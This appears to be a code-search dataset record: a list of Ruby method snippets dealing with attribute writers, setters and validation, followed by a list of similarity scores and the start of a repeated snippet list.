"def define_write_method(attr_name)\n evaluate_attribute_method attr_name, \"def #{attr_name}=(new_value);write_attribute('#{attr_name}', new_value);end\", \"#{attr_name}=\"\n end",
"def attr_writer(*vars)\n # avoid tracking attributes that are added by the class_attribute\n # as these are class attributes and not instance attributes.\n tracked_vars = vars.reject {|var| respond_to? var }\n add_tracked_attrs(false, true, *tracked_vars)\n vars.extract_options!\n super\n end",
"def attr_writer(sym, *more) end",
"def is_attribute?; end",
"def validate_exclusion_of(attr); end",
"def register_attributes\n raise \"Not implemented in #{self.class}\"\n end",
"def method_missing(method_name, *args)\n return super unless permitted_attributes.include?(method_name)\n begin\n object.send(:\"#{method_name}=\", args.first)\n rescue => e\n if params.has_key?(method_name)\n message = \"Unable to process value for :#{method_name}, no attribute writer. Be sure to override the automatic setters for all params that do not map straight to a model attribute.\"\n Rails.logger.warn({message: message,\n missing_writer: method_name,\n value: args.first,\n error: e})\n self.errors << {status: 422, message: message}\n else\n raise e\n end\n end\n end",
"def timeliness_validation_for(attr_names, type)\n super\n attr_names.each { |attr_name| define_timeliness_write_method(attr_name) }\n end",
"def create_setter_for(attribute, options)\n setter_method = \"#{attribute}=\"\n\n define_method setter_method do |value|\n if options[:allow_blank] || value != \"\"\n write_attribute(attribute, value)\n end\n end\n end",
"def attr_internal_writer(*attrs)\n attrs.each {|attr_name| attr_internal_define(attr_name, :writer)}\n end",
"def escape_attr input\n escape input, attr_regexp, attr_mapping\n end",
"def make_writer( attrtype )\n\t\tself.log.debug \"Generating an attribute writer for %p\" % [ attrtype ]\n\t\tattrname = attrtype.name\n\t\tif attrtype.single?\n\t\t\tself.log.debug \" attribute is SINGLE, so generating a scalar writer...\"\n\t\t\treturn lambda {|newvalue| self[attrname] = newvalue }\n\t\telse\n\t\t\tself.log.debug \" attribute isn't SINGLE, so generating an array writer...\"\n\t\t\treturn lambda {|*newvalues| self[attrname] = newvalues.flatten }\n\t\tend\n\tend",
"def write_attribute(name, value)\n # Simply check if the accessor is allowed to write the field\n # (if so, go to superclass and do it)\n @bypass_auth ||= false\n if allowed_to_write(name) || @bypass_auth\n super(name, value)\n end\n end",
"def mattr_writer(*syms, &proc)\n receiver = self\n options = syms.extract_options!\n syms.each do |sym|\n raise NameError.new('invalid attribute name') unless sym =~ /^[_A-Za-z]\\w*$/\n class_exec do\n define_singleton_method \"#{sym}=\" do |obj|\n class_variable_set(\"@@#{sym}\", obj)\n end\n end\n\n unless options[:instance_writer] == false || options[:instance_accessor] == false\n class_exec do\n define_method \"#{sym}=\" do |obj|\n receiver.class_variable_set(\"@@#{sym}\", obj)\n end\n end\n end\n send(\"#{sym}=\", proc.call) if proc\n end\n end",
"def write_attribute(attribute, value)\n false\n end",
"def add_attribute attribute\n return attribute unless @document_self\n\n # mainly to check for redefinition of an attribute as a method\n # TODO find a policy for 'attr_reader :foo' + 'def foo=()'\n register = false\n\n key = nil\n\n if attribute.rw.index 'R' then\n key = attribute.pretty_name\n known = @methods_hash[key]\n\n if known then\n known.comment = attribute.comment if known.comment.empty?\n elsif registered = @methods_hash[attribute.pretty_name + '='] and\n RDoc::Attr === registered then\n registered.rw = 'RW'\n else\n @methods_hash[key] = attribute\n register = true\n end\n end\n\n if attribute.rw.index 'W' then\n key = attribute.pretty_name + '='\n known = @methods_hash[key]\n\n if known then\n known.comment = attribute.comment if known.comment.empty?\n elsif registered = @methods_hash[attribute.pretty_name] and\n RDoc::Attr === registered then\n registered.rw = 'RW'\n else\n @methods_hash[key] = attribute\n register = true\n end\n end\n\n if register then\n attribute.visibility = @visibility\n add_to @attributes, attribute\n resolve_aliases attribute\n end\n\n attribute\n end",
"def define_writer_method(mod)\n writer_method_name = \"#{name}=\"\n attribute = self\n\n mod.send(:define_method, writer_method_name) { |value| attribute.set(self, value) }\n mod.send(writer_visibility, writer_method_name)\n\n self\n end",
"def allowed_to_write(name)\n # no point allowing attribute writes if we can't save them?\n if allowed_to_save\n name = name.to_s\n validation_methods = self.class.write_validations(name) \n if validation_methods.nil?\n # We haven't registered any filters on this attribute, so allow the write.\n true\n elsif validation_methods.check :accessor => accessor, :model => self\n # One of the authentication methods worked, so allow the write.\n true\n else\n # We had filters but none of them passed. Disallow write.\n false\n end\n else\n false\n end\n end",
"def assert_attr_writer(obj, method)\n assert_respond_to obj, \"#{method}=\"\nend",
"def add_attribute(name, &block); end",
"def authenticates_writes_to(attr, options={})\n authenticates_access\n @write_validation_map ||= {}\n @write_validation_map[attr.to_s] ||= AuthMethodList.new\n @write_validation_map[attr.to_s].add_method(options)\n end",
"def write_attribute_3(param1, param2)\n\twrite_attribute(param1, param2)\n end",
"def write_attribute(attr_name, value) #:doc:\n @attributes[attr_name] = empty_string_for_number_column?(attr_name, value) ? nil : value\n end",
"def add_writer_tags(klass, new_method, member)\n member_tag = member_tag_for_member(klass, member, :write)\n return_type = return_type_from_tag(member_tag)\n setter_doc_text = member_tag ? member_tag.text : \"Sets the attribute #{member}\"\n new_method.docstring.replace(setter_doc_text)\n new_method.add_tag YARD::Tags::Tag.new(:param, \"the value to set the attribute #{member} to.\", return_type, \"value\")\n new_method.add_tag YARD::Tags::Tag.new(:return, \"the newly set value\", return_type)\n end",
"def print_attribute(*) end",
"def attribute(name); end",
"def add_checked_attribute(clazz, attribute)\r\n eval <<END\r\n class #{clazz}\r\n\r\n def #{attribute}=(value)\r\n raise 'Invalid attribute' unless value\r\n @#{attribute}=value\r\n end\r\n\r\n def #{attribute}\r\n #{attribute}\r\n end\r\n end\r\nEND\r\nend",
"def attr(name); end",
"def is_attribute?(line)\n (line =~ /(\\s+)attr_(writer|reader|accessor)\\s+:[a-zA-Z_0-9]+/) == 0\n end",
"def attribute(name, value)\n\t if !@inStartTag\n\t\traise WriterError.new('attribute outside of tag start')\n\t end\n\t @io << \" #{name}=\\\"#{NQXML.encode(value.to_s)}\\\"\"\n\tend",
"def set_attribute(name, value); end",
"def dataset_writer(*attributes)\n attributes.flatten.each do |attr_name|\n next if method_defined?(\"#{attr_name}=\")\n\n class_eval <<-RUBY, __FILE__, __LINE__ + 1\n def #{attr_name}=(value)\n dataset_set(:#{attr_name}, value)\n end\n RUBY\n end\n end",
"def validated_attribute_names(params); end",
"def require_format_of(attribute)\r\n RequireFormatOf.new(attribute)\r\n end",
"def attr_writer(*fields)\n check_fields(fields)\n added_fields = jiak.data.writable(*fields)\n added_fields.each do |field|\n class_eval <<-EOM\n def #{field}=(val)\n @jiak.object.data.#{field} = val\n self.class.do_auto_update(self)\n end\n EOM\n end\n nil\n end",
"def html_attr(*attrs)\n options = attrs.extract_options!.reverse_merge({\n :level => :super_relaxed\n })\n attrs.each do |att|\n class_eval \"def #{att}=(val); self[:#{att}] = sanitize(val, :#{options[:level]}); end\"\n end\n end",
"def validate_attributes=(new_attribute)\n @validate_attributes = new_attribute\n end",
"def html_attributes(attr); end",
"def instance_write(attr, value)\n setter = :\"#{@name_string}_#{attr}=\"\n instance.send(setter, value) if instance.respond_to?(setter)\n end",
"def valid_xml_attribute(name, options={:level => :warning})\n\t\t\t\tvalidate(\"Invalid XML attribute '#{name}'\", options) { name.to_s.match(/^([^[:punct:]0-9<>]|_)[^<>\"']*/) }\n\t\t\tend",
"def attr_writer(*args)\n sym_args=args_to_sym(args)\n sym_args.each do |value|\n self.instance_eval(\"def #{value}=(arg); @#{value}=arg;end;\")\n end\n \n end",
"def define_writer_method(attribute, method_name, visibility)\n define_method(method_name) { |value| attribute.set(self, value) }\n send(visibility, method_name)\n self\n end",
"def write_attribute(name, val)\n if @embedded_models.include? name\n @embedded_models[name].model = val\n elsif @attribute_objects.include? name\n @attribute_objects[name].value = val\n else\n return false\n end\n\n run_callbacks :attribute_change\n end",
"def valid_attributes\n { \"name\" => \"MyString\" }\n end",
"def valid_attributes\n { \"name\" => \"MyString\" }\n end",
"def valid_attributes\n { body: \"blah\",\n rule_text: 'Something',\n change_description: \"blaa\"}\n end",
"def valid_attributes\n { body: \"blah\",\n rule_text: 'Something',\n change_description: \"blaa\"}\n end",
"def attr; end",
"def attribute(*args)\n define_expressions(Attribute, args)\n end",
"def write_attribute(name, value)\n name = name.to_s\n\n # The attribute already has an unsaved change.\n if attribute_changed?(name)\n old = changed_attributes[name]\n changed_attributes.delete(name) unless field_changed?(name, old, value)\n else\n attribute_will_change(name) if field_changed?(name, old, value)\n end\n\n # Carry on.\n super(name, value)\n end",
"def define_magic_attr(name)\n define_method name do |*attrs|\n raise ArgumentError.new(\"wrong number of arguments\") if attrs.size > 1\n send(\"#{name}=\", attrs.first) if attrs.size == 1\n instance_variable_get(\"@#{name}\")\n end\n\n attr_writer name\n end",
"def configurable_writer(attribute, code=nil, &block)\n if block_given? and not code\n Halcyon.class.send(:define_method, :\"#{attribute}=\", block)\n elsif code and not block_given?\n Halcyon.class.send(:eval, <<-\"end;\")\n def #{attribute.to_s}=(value)\n #{code % [attribute.to_sym.inspect]}\n end\n end;\n else\n raise ArgumentError.new(\"Either a block or a code string should be supplied.\")\n end\n end",
"def method_missing(name, *args, &block)\n if /\\Ahas_validated_(?<type>\\w*)_attribute\\Z/ =~ name\n has_validated_attribute(type, *args, &block)\n else\n super\n end\n end",
"def add_checked_attribute(klass, attribute)\n klass.class_eval do\n define_method attribute do\n instance_variable_get(\"@#{attribute}\")\n end\n\n define_method \"#{attribute}=\" do |value|\n raise 'Invalid attribute' unless value\n \n instance_variable_set(\"@#{attribute}\", value)\n end\n end\nend",
"def method_missing(meth, *args, &blk)\n match = meth.to_s.match(/^([a-zA-Z\\_]+)(=|$)$/)\n if match\n attribute, setter = match[1], !match[2].blank?\n if setter\n write_attribute(attribute, args.first)\n else\n read_attribute(attribute)\n end\n else\n super(meth, *args, &blk)\n end\n end",
"def valid_attributes\n { name: 'do this' }\n end",
"def make_attributes_definitions_or_croak(attrArgs, &attrBlok)\n eye = :'m_attrs_defs'\n\n # Work with attribute as strings\n \n $DEBUG && logger_me(eye, logger_fmt_kls(:attrArgs => attrArgs, :attrBlok => attrBlok))\n\n mustbe_attributes_specification_or_croak(attrArgs, eye, \"attrArgs not attributes_specification\")\n \n #STOPATTRARGSINSUPER\n \n #attrAll = mustbe_not_empty_or_croak(mustbe_array_key_or_nil_or_croak(attrArgs, :all, eye, \"all attributes not array\"), eye, \"all attributes is empty\").map(&:to_s)\n attrAll = mustbe_not_empty_or_croak(mustbe_attributes_specification_all_key_or_croak(attrArgs, :all, eye), eye, \"all attributes is empty\").map(&:to_s)\n \n\n #puts(\"\\n\\n\\nATTR ALL >#{attrAll}<\")\n\n #STOPMAKEATTRSPECSENTRY\n\n attrInc = mustbe_attributes_specification_include_key_or_nil_or_croak(attrArgs, :include, eye) # mustbe all strings\n #puts(\"ATTR INC >#{attrInc.class}< >#{attrInc}< >#{is_value_not_empty?(attrInc)}<\")\n attrInc && mustbe_not_empty_or_croak(attrInc, eye, \"include attributes is empty\")\n\n attrExc = mustbe_attributes_specification_exclude_key_or_nil_or_croak(attrArgs, :exclude, eye) || []\n \n attrMapNom = mustbe_attributes_definitions_key_or_nil_or_croak(attrArgs, :definitions, eye) || {}\n attrMap = attrMapNom && potrubi_util_map_hash_kv(attrMapNom) {|k,v| [k.to_s, v]} # keys all strings\n\n # Ensure all consistent\n \n attrInc && mustbe_subset_or_croak(attrInc, attrAll, eye, \"include attributes contains unknown attributes\")\n mustbe_subset_or_croak(attrExc, attrAll, eye, \"exclude attributes contains unknown attributes\")\n mustbe_subset_or_croak(attrMap.keys, attrAll, eye, \"attribute map contains unknown attributes\")\n \n attrUse = ((attrInc || attrAll) - attrExc).uniq # list of unique attributes to report on\n\n # consolidate \"faked up\" attr specs with ones provided to get the composite attrSpecs\n \n attrDefsNom = potrubi_util_array_to_hash(attrUse).merge(attrMap.select {|k,v| attrUse.include?(k)}) # consolidated \"faked up\" attr specs with ones provided\n\n attrDefs = potrubi_util_map_hash_v(attrDefsNom) do | attrName, attrSpecNom|\n\n attrSpec =\n case attrSpecNom\n when NilClass then {}\n when Hash then\n attrSpecNom.each_with_object({}) do | (verbName, verbSpec), h1 |\n case verbName\n when :pass_thru then h1[:pass_thru] = verbSpec # dont touch; just pass through\n when :event_defaults then # add these to pass_thru\n h1[:pass_thru] = (h1[:pass_thru] || {}).merge(verbName => verbSpec)\n when :map, :select, :metric then\n h1[verbName] = {\n :method_name => \"#{verbName}_#{attrName}_#{rand(1000000)}\", # make a unqiue name\n :method_spec => verbSpec # spec must be valid to dynamic_define_methods\n }\n else\n logic_exception(verbName, eye, \"attrName >#{attrName}< verbName >#{verbName}< value should be impossible\")\n end\n end\n \n else\n logic_exception(attrrSpecNom, eye, \"attrSpecNom value should be impossible\")\n end\n\n attrSpec\n \n end\n \n $DEBUG && logger_mx(eye, logger_fmt_kls(:attrDefs => attrDefs))\n\n mustbe_attributes_definitions_or_croak(attrDefs, eye, \"attrDefs failed contract\")\n\n #STOPMAKEATTRSPECS\n \n end",
"def create_writer(klass, member)\n # We want to convert these members into attributes just like\n # as if they were declared using attr_accessor.\n new_meth = register MethodObject.new(klass, \"#{member}=\", :instance) do |o|\n o.parameters = [['value', nil]]\n o.signature ||= \"def #{member}=(value)\"\n o.source ||= \"#{o.signature}\\n @#{member} = value\\nend\"\n end\n add_writer_tags(klass, new_meth, member)\n klass.attributes[:instance][member][:write] = new_meth\n end",
"def create_setter!\n @target.class_eval <<-EOS\n #{writer_visibility.to_s}\n def #{name}=(value)\n attribute_set(#{name.inspect}, value)\n end\n EOS\n rescue SyntaxError\n raise SyntaxError.new(column)\n end",
"def attribute name, type, conditions= DEFAULT_ATTRIBUTE_CONDITIONS\n RMOF.complete_conditions conditions, DEFAULT_ATTRIBUTE_CONDITIONS\n @attributes= {} unless instance_variable_defined? :@attributes\n @attributes[name]= [name, type, conditions]\n unless method_defined? :__attributes then \n define_method( :__attributes) do \n @attributes\n end \n end\n at= \"@#{name}\".to_sym\n getter= \"#{name}\".to_sym\n setter= \"#{name}=\".to_sym\n completion= \"__complete_#{name}\".to_sym\n define_method( getter) do\n if instance_variable_defined? at then instance_variable_get at\n else conditions[:default]\n end\n end\n define_method( setter) do |val|\n instance_variable_set at, val\n end\n define_method( completion) do\n RMOF.validate( self.send(getter), name, type, conditions)\n end\n end",
"def attr_internal_writer(*attrs)\n attrs.each do |attr|\n module_eval \"def #{attr}=(v) #{attr_internal_ivar_name(attr)} = v end\"\n end\n end",
"def attr_internal_writer(*attrs)\n attrs.each do |attr|\n module_eval \"def #{attr}=(v) #{attr_internal_ivar_name(attr)} = v end\"\n end\n end",
"def create_setter(name, meth)\n define_method(\"#{meth}=\") do |value|\n write_attribute(name, value)\n end\n end",
"def sanitized_allowed_attributes=(attributes); end",
"def sanitized_allowed_attributes=(attributes); end",
"def oattr(name, type)\n case type\n when :custom\n # Do nothing, just register attr below.\n when :writer\n attr_writer name\n else\n raise ArgumentError, \"Unknown type: #{type.inspect}\"\n end\n\n # Register and return.\n name.tap { oattrs << name}\n end",
"def valid_attributes\n { name: \"Expert\" }\n end",
"def attributes(*method_names, **options)\n add_attributes(method_names, **options, strategy: :write_value_using_method_strategy)\n end",
"def []=(attr_name, value)\n writer_method = \"#{attr_name}=\"\n send(writer_method, value) if respond_to?(writer_method)\n end",
"def write_extended_attributes(attrs)\n attrs.each do |k, val|\n self.send((k.to_s + \"=\").to_sym, val) if is_flex_attribute?(k)\n end\n self\n end",
"def valid_attributes\n { \"username\" => \"MyString\" }\n end",
"def cattr_writer(*fields)\n metaclass.send :attr_writer, *fields\n end",
"def write_attribute(attr, value)\n if attribute_encrypted?(attr)\n conductor_for(attr).encrypt(value)\n else\n super(attr, value)\n end\n end",
"def serialize(writer)\n raise StandardError, 'writer cannot be null' if writer.nil?\n super\n writer.write_number_value(\"offsetInDays\", @offset_in_days)\n writer.write_enum_value(\"timeBasedAttribute\", @time_based_attribute)\n end",
"def define_attribute_method(attr_name, _owner: generated_attribute_methods)\n CodeGenerator.batch(_owner, __FILE__, __LINE__) do |owner|\n attribute_method_matchers.each do |matcher|\n method_name = matcher.method_name(attr_name)\n\n unless instance_method_already_implemented?(method_name)\n generate_method = \"define_method_#{matcher.target}\"\n\n if respond_to?(generate_method, true)\n send(generate_method, attr_name.to_s, owner: owner)\n else\n define_proxy_call true, owner, method_name, matcher.target, attr_name.to_s\n end\n end\n end\n attribute_method_matchers_cache.clear\n end\n end",
"def has_attributes?; end",
"def serialize(writer)\n raise StandardError, 'writer cannot be null' if writer.nil?\n super\n writer.write_boolean_value(\"isExpirationRequired\", @is_expiration_required)\n writer.write_duration_value(\"maximumDuration\", @maximum_duration)\n end",
"def add_attributes(item)\n [:class, :instance].each do |attr_loc|\n # Grab attributes for the current location (class or instance)\n attrs = item.attributes[attr_loc]\n attrs.each do |name, attribute|\n reader = attribute[:read]\n writer = attribute[:write]\n\n unless reader || writer\n Logging.warn(\"attribute is not readable or writable somehow, skipping\", attribute)\n next\n end\n\n # Get all given types\n yard_types = []\n if reader\n next if @hide_private && reader.visibility == :private\n yard_types += reader.tags('return').flat_map(&:types).compact.reject { |x| x.downcase == 'void' } +\n reader.tags('param').flat_map(&:types)\n end\n if writer\n next if @hide_private && writer.visibility == :private\n yard_types += writer.tags('return').flat_map(&:types).compact.reject { |x| x.downcase == 'void' } +\n writer.tags('param').flat_map(&:types)\n end\n\n # Use untyped if not types specified anywhere, otherwise try to\n # compute Parlour type given all these types\n if yard_types.empty?\n Logging.omit(\"no YARD type given for #{name.inspect}, using untyped\", reader || writer)\n parlour_type = Parlour::Types::Untyped.new\n elsif yard_types.all? { |x| x == 'nil' }\n # Nil attributes are extremely unusual, so just use untyped\n parlour_type = Parlour::Types::Untyped.new\n else\n parlour_type = TypeConverter.yard_to_parlour(\n yard_types, reader || writer, @type_converter_config)\n end\n\n # Generate attribute\n if reader && writer\n kind = :accessor\n elsif reader\n kind = :reader\n elsif writer\n kind = :writer\n end\n\n if @exclude_untyped && parlour_type.is_a?(Parlour::Types::Untyped)\n Logging.omit(\"excluding untyped attribute\", reader || writer, immediate: true)\n next\n end\n\n case @mode\n when :rbi\n @current_object.create_attribute(\n name.to_s,\n kind: kind,\n type: parlour_type,\n class_attribute: (attr_loc == :class)\n ) do |m|\n add_comments(reader || writer, m)\n end\n when :rbs\n if attr_loc == :class\n # RBS doesn't support class attr_accessors so create individual methods\n\n if reader\n @current_object.create_method(\n name.to_s,\n [Parlour::RbsGenerator::MethodSignature.new([], parlour_type)],\n class_method: true\n ) do |m|\n add_comments(reader, m)\n end\n end\n\n if writer\n @current_object.create_method(\n \"#{name}=\",\n [Parlour::RbsGenerator::MethodSignature.new([Parlour::RbsGenerator::Parameter.new(\n \"value\",\n type: parlour_type,\n required: true\n )], parlour_type)],\n class_method: true\n ) do |m|\n add_comments(writer, m)\n end\n end\n else\n @current_object.create_attribute(\n name.to_s,\n kind: kind,\n type: parlour_type,\n ) do |m|\n add_comments(reader || writer, m)\n end\n end\n end\n end\n end\n end",
"def []=(attr_name, value)\r\n if attr_name.is_a?(String) and attr_name != attr_name.split(ID_SEP).first\r\n attr_name = attr_name.split(ID_SEP)\r\n end\r\n\r\n if attr_name.is_a? Array\r\n value = value.split(ID_SEP) if value.is_a? String\r\n unless value.length == attr_name.length\r\n raise \"Number of attr_names and values do not match\"\r\n end\r\n #breakpoint\r\n [attr_name, value].transpose.map {|name,val| write_attribute(name.to_s, val)}\r\n else\r\n write_attribute(attr_name, value)\r\n end\r\n end",
"def attr(symbol, writable=false) end",
"def define_writer!(k, definition)\n define_method(\"#{k}=\") do |value|\n # Recursively convert hash and array of hash to schematized objects\n value = ensure_schema value, definition[:schema]\n\n # Initial value\n instance_variable_set \"@#{k}\", value\n\n # Dirty tracking\n self.changed_attributes ||= Set.new\n self.changed_attributes << k\n end\n end",
"def validate\n validate_string_attributes\n end",
"def write_attribute_with_dynamo(field_name, value)\n if is_dynamo_field?(field_name)\n # Store these guys for now. We don't actually save the field value until the model is saved ( i.e my_supplier.save ).\n # If we were to save the field_value now we wouldn't be able to know the id of the model to link this value to it.\n # @see delay_save\n @all_fields_and_values ||= []\n @all_fields_and_values << {:dynamo_field=>cached_dynamo_field_by_name(field_name), :value=>value}\n end\n # If its a 'normal' attribute let rails write it in the usual way.\n write_attribute_without_dynamo(field_name, value)\n end",
"def define_attr_accessor(attr)\n attr_accessor(attr)\n end",
"def serialize(writer)\n raise StandardError, 'writer cannot be null' if writer.nil?\n writer.write_collection_of_object_values(\"attributeMappings\", @attribute_mappings)\n writer.write_boolean_value(\"enabled\", @enabled)\n writer.write_enum_value(\"flowTypes\", @flow_types)\n writer.write_collection_of_object_values(\"metadata\", @metadata)\n writer.write_string_value(\"name\", @name)\n writer.write_string_value(\"@odata.type\", @odata_type)\n writer.write_object_value(\"scope\", @scope)\n writer.write_string_value(\"sourceObjectName\", @source_object_name)\n writer.write_string_value(\"targetObjectName\", @target_object_name)\n writer.write_additional_data(@additional_data)\n end",
"def validate_attribute_syntax\n\t\[email protected] do |attribute, values|\n\t\t\t[ values ].flatten.each do |value|\n\t\t\t\tbegin\n\t\t\t\t\tself.get_converted_attribute( attribute.to_sym, value )\n\t\t\t\trescue => err\n\t\t\t\t\tself.log.error \"validation for %p failed: %s: %s\" %\n\t\t\t\t\t\t[ attribute, err.class.name, err.message ]\n\t\t\t\t\tattrtype = self.find_attribute_type( attribute )\n\t\t\t\t\tself.errors.add( attribute, \"isn't a valid %s value\" %\n\t\t\t\t\t\t[ attrtype.syntax ? attrtype.syntax.desc : attrtype.syntax_oid ] )\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\tend",
"def valid_attributes\n { }\n end",
"def validatable_attributes(atts, opts)\n am, an, ab, m = opts.values_at(:allow_missing, :allow_nil, :allow_blank, :message)\n Array(atts).each do |a|\n next if am && !values.has_key?(a)\n v = send(a)\n next if an && v.nil?\n next if ab && v.respond_to?(:blank?) && v.blank?\n if message = yield(a, v, m)\n errors.add(a, message)\n end\n end\n end",
"def valid_attributes\n { }\n end",
"def valid_attributes\n { }\n end",
"def attribute_name=(_arg0); end",
"def attribute_name=(_arg0); end",
"def attribute_name=(_arg0); end",
"def require_attr(name)\n send(name).tap do |_|\n raise \"Attribute must be set: #{name}\" if _.nil?\n end\n end",
"def write_attributes(attributes)\n _attributes = attributes.select do |name, value|\n if self.is_dynamic_field?(name)\n self.dynamic_setter(name, value)\n false\n else\n true\n end\n end\n\n super(_attributes)\n end",
"def attribute; end",
"def attribute; end"
] | [
"0.6472992",
"0.6315012",
"0.6315012",
"0.62821025",
"0.6279224",
"0.6211609",
"0.61891466",
"0.6182247",
"0.60683644",
"0.6032628",
"0.5995443",
"0.5988785",
"0.5959885",
"0.5938289",
"0.5931089",
"0.58951056",
"0.5859927",
"0.5851703",
"0.58493423",
"0.58465594",
"0.58328366",
"0.5823013",
"0.5822229",
"0.57850474",
"0.5701491",
"0.5696689",
"0.5682951",
"0.5678094",
"0.566814",
"0.5657499",
"0.56555206",
"0.5642589",
"0.56219065",
"0.5615893",
"0.56105876",
"0.559851",
"0.5598089",
"0.55940455",
"0.5585137",
"0.55848545",
"0.55796933",
"0.5571477",
"0.5567006",
"0.55667996",
"0.55652434",
"0.5562926",
"0.55600035",
"0.55590326",
"0.55590326",
"0.5554599",
"0.5554599",
"0.55407417",
"0.5534935",
"0.5527733",
"0.55271375",
"0.55238813",
"0.5501504",
"0.5497003",
"0.5496233",
"0.54927665",
"0.5464706",
"0.54617554",
"0.5461167",
"0.5451583",
"0.54498726",
"0.54498726",
"0.54359984",
"0.5430996",
"0.5430996",
"0.5426488",
"0.5418467",
"0.54153895",
"0.54107565",
"0.5407886",
"0.5401234",
"0.54008496",
"0.5400268",
"0.53910094",
"0.53827274",
"0.5377731",
"0.5375473",
"0.5374833",
"0.53720397",
"0.5370215",
"0.5363264",
"0.5361161",
"0.5360557",
"0.5351706",
"0.53514725",
"0.53492516",
"0.53459316",
"0.5341237",
"0.5328037",
"0.5328037",
"0.53230566",
"0.53230566",
"0.53230566",
"0.5319575",
"0.531832",
"0.5315559",
"0.5315559"
] | 0.0 | -1 |
Custom attribute writer method with validation | def office_extension=(office_extension)
if !office_extension.nil? && office_extension.to_s.length > 10
fail ArgumentError, "invalid value for 'office_extension', the character length must be smaller than or equal to 10."
end
@office_extension = office_extension
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def attr_writer_tag(text); end",
"def allowed_attributes=(_arg0); end",
"def allowed_attributes=(_arg0); end",
"def writer(*args)\n attr_writer(*args)\n args\n end",
"def define_write_method(attr_name)\n evaluate_attribute_method attr_name, \"def #{attr_name}=(new_value);write_attribute('#{attr_name}', new_value);end\", \"#{attr_name}=\"\n end",
"def attr_writer(*vars)\n # avoid tracking attributes that are added by the class_attribute\n # as these are class attributes and not instance attributes.\n tracked_vars = vars.reject {|var| respond_to? var }\n add_tracked_attrs(false, true, *tracked_vars)\n vars.extract_options!\n super\n end",
"def attr_writer(sym, *more) end",
"def is_attribute?; end",
"def validate_exclusion_of(attr); end",
"def register_attributes\n raise \"Not implemented in #{self.class}\"\n end",
"def method_missing(method_name, *args)\n return super unless permitted_attributes.include?(method_name)\n begin\n object.send(:\"#{method_name}=\", args.first)\n rescue => e\n if params.has_key?(method_name)\n message = \"Unable to process value for :#{method_name}, no attribute writer. Be sure to override the automatic setters for all params that do not map straight to a model attribute.\"\n Rails.logger.warn({message: message,\n missing_writer: method_name,\n value: args.first,\n error: e})\n self.errors << {status: 422, message: message}\n else\n raise e\n end\n end\n end",
"def timeliness_validation_for(attr_names, type)\n super\n attr_names.each { |attr_name| define_timeliness_write_method(attr_name) }\n end",
"def create_setter_for(attribute, options)\n setter_method = \"#{attribute}=\"\n\n define_method setter_method do |value|\n if options[:allow_blank] || value != \"\"\n write_attribute(attribute, value)\n end\n end\n end",
"def attr_internal_writer(*attrs)\n attrs.each {|attr_name| attr_internal_define(attr_name, :writer)}\n end",
"def escape_attr input\n escape input, attr_regexp, attr_mapping\n end",
"def make_writer( attrtype )\n\t\tself.log.debug \"Generating an attribute writer for %p\" % [ attrtype ]\n\t\tattrname = attrtype.name\n\t\tif attrtype.single?\n\t\t\tself.log.debug \" attribute is SINGLE, so generating a scalar writer...\"\n\t\t\treturn lambda {|newvalue| self[attrname] = newvalue }\n\t\telse\n\t\t\tself.log.debug \" attribute isn't SINGLE, so generating an array writer...\"\n\t\t\treturn lambda {|*newvalues| self[attrname] = newvalues.flatten }\n\t\tend\n\tend",
"def write_attribute(name, value)\n # Simply check if the accessor is allowed to write the field\n # (if so, go to superclass and do it)\n @bypass_auth ||= false\n if allowed_to_write(name) || @bypass_auth\n super(name, value)\n end\n end",
"def mattr_writer(*syms, &proc)\n receiver = self\n options = syms.extract_options!\n syms.each do |sym|\n raise NameError.new('invalid attribute name') unless sym =~ /^[_A-Za-z]\\w*$/\n class_exec do\n define_singleton_method \"#{sym}=\" do |obj|\n class_variable_set(\"@@#{sym}\", obj)\n end\n end\n\n unless options[:instance_writer] == false || options[:instance_accessor] == false\n class_exec do\n define_method \"#{sym}=\" do |obj|\n receiver.class_variable_set(\"@@#{sym}\", obj)\n end\n end\n end\n send(\"#{sym}=\", proc.call) if proc\n end\n end",
"def write_attribute(attribute, value)\n false\n end",
"def add_attribute attribute\n return attribute unless @document_self\n\n # mainly to check for redefinition of an attribute as a method\n # TODO find a policy for 'attr_reader :foo' + 'def foo=()'\n register = false\n\n key = nil\n\n if attribute.rw.index 'R' then\n key = attribute.pretty_name\n known = @methods_hash[key]\n\n if known then\n known.comment = attribute.comment if known.comment.empty?\n elsif registered = @methods_hash[attribute.pretty_name + '='] and\n RDoc::Attr === registered then\n registered.rw = 'RW'\n else\n @methods_hash[key] = attribute\n register = true\n end\n end\n\n if attribute.rw.index 'W' then\n key = attribute.pretty_name + '='\n known = @methods_hash[key]\n\n if known then\n known.comment = attribute.comment if known.comment.empty?\n elsif registered = @methods_hash[attribute.pretty_name] and\n RDoc::Attr === registered then\n registered.rw = 'RW'\n else\n @methods_hash[key] = attribute\n register = true\n end\n end\n\n if register then\n attribute.visibility = @visibility\n add_to @attributes, attribute\n resolve_aliases attribute\n end\n\n attribute\n end",
"def define_writer_method(mod)\n writer_method_name = \"#{name}=\"\n attribute = self\n\n mod.send(:define_method, writer_method_name) { |value| attribute.set(self, value) }\n mod.send(writer_visibility, writer_method_name)\n\n self\n end",
"def allowed_to_write(name)\n # no point allowing attribute writes if we can't save them?\n if allowed_to_save\n name = name.to_s\n validation_methods = self.class.write_validations(name) \n if validation_methods.nil?\n # We haven't registered any filters on this attribute, so allow the write.\n true\n elsif validation_methods.check :accessor => accessor, :model => self\n # One of the authentication methods worked, so allow the write.\n true\n else\n # We had filters but none of them passed. Disallow write.\n false\n end\n else\n false\n end\n end",
"def assert_attr_writer(obj, method)\n assert_respond_to obj, \"#{method}=\"\nend",
"def add_attribute(name, &block); end",
"def authenticates_writes_to(attr, options={})\n authenticates_access\n @write_validation_map ||= {}\n @write_validation_map[attr.to_s] ||= AuthMethodList.new\n @write_validation_map[attr.to_s].add_method(options)\n end",
"def write_attribute_3(param1, param2)\n\twrite_attribute(param1, param2)\n end",
"def write_attribute(attr_name, value) #:doc:\n @attributes[attr_name] = empty_string_for_number_column?(attr_name, value) ? nil : value\n end",
